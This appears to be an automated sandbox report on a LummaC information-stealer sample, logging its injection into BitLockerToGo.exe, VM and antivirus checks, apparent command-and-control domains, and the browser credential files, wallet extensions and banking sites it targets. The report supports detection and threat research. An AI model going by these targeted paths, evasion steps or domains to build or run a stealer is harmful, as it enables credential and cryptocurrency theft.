Source: 6wFwugeLNG.exe, 00000000.00000002.2391891785.000000000A100000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs 6wFwugeLNG.exe
Source: 6wFwugeLNG.exe	Binary or memory string: OriginalFileName vs 6wFwugeLNG.exe

Source: 6wFwugeLNG.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\6wFwugeLNG.exe

Process created: C:\Windows\SysWOW64\reg.exe reg query HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon /v version

Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.2391539251.0000000009F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: C:\Windows\SysWOW64\reg.exe

Key value queried: HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon version

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/0@2/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_00486950 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

5_2_00486950

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6472:120:WilError_03

Source: 6wFwugeLNG.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\user\Desktop\6wFwugeLNG.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BitLockerToGo.exe, 00000005.00000003.2438535689.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 6wFwugeLNG.exe	ReversingLabs: Detection: 68%
Source: 6wFwugeLNG.exe	Virustotal: Detection: 43%

Source: 6wFwugeLNG.exe

String found in binary or memory: @v1.5.6/loadconfig.go

Source: unknown	Process created: C:\Users\user\Desktop\6wFwugeLNG.exe "C:\Users\user\Desktop\6wFwugeLNG.exe"
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon /v version
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon /v version	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: 6wFwugeLNG.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 6wFwugeLNG.exe

Static file information: File size 11141120 > 1048576

Source: 6wFwugeLNG.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2d5000
Source: 6wFwugeLNG.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x2cba00

Source: 6wFwugeLNG.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: 6wFwugeLNG.exe, 00000000.00000002.2391891785.000000000A100000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: 6wFwugeLNG.exe, 00000000.00000002.2391891785.000000000A100000.00000004.00001000.00020000.00000000.sdmp

Source: 6wFwugeLNG.exe

Static PE information: section name: .symtab

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_00489B90 push eax; mov dword ptr [esp], D9DADBDCh		5_2_00489B9E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 5_2_0048C7B0 push eax; mov dword ptr [esp], 5251500Fh		5_2_0048C7B4

Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 6776

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 6wFwugeLNG.exe, 00000000.00000002.2388284827.0000000000508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: BitLockerToGo.exe, 00000005.00000003.2459955388.0000000004E28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000002.2592679688.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2591264065.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_0048AFD0 LdrInitializeThunk,

5_2_0048AFD0

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\6wFwugeLNG.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 450000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\6wFwugeLNG.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 450000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: 6wFwugeLNG.exe, 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: 6wFwugeLNG.exe, 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: 6wFwugeLNG.exe, 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: 6wFwugeLNG.exe, 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: 6wFwugeLNG.exe, 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: 6wFwugeLNG.exe, 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cycahao.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 288008	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 450000	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 451000	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 48F000	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 492000	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 4A2000	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 4A3000	Jump to behavior

Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon /v version			Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"			Jump to behavior

Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6wFwugeLNG.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: BitLockerToGo.exe, 00000005.00000003.2533275611.0000000000767000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 612, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000005.00000003.2508284325.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: BitLockerToGo.exe, 00000005.00000003.2508284325.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: BitLockerToGo.exe, 00000005.00000003.2508325530.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000005.00000003.2508284325.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000005.00000003.2508284325.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: BitLockerToGo.exe, 00000005.00000003.2508284325.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe, 00000005.00000003.2508284325.000000000074A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000005.00000003.2508284325.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
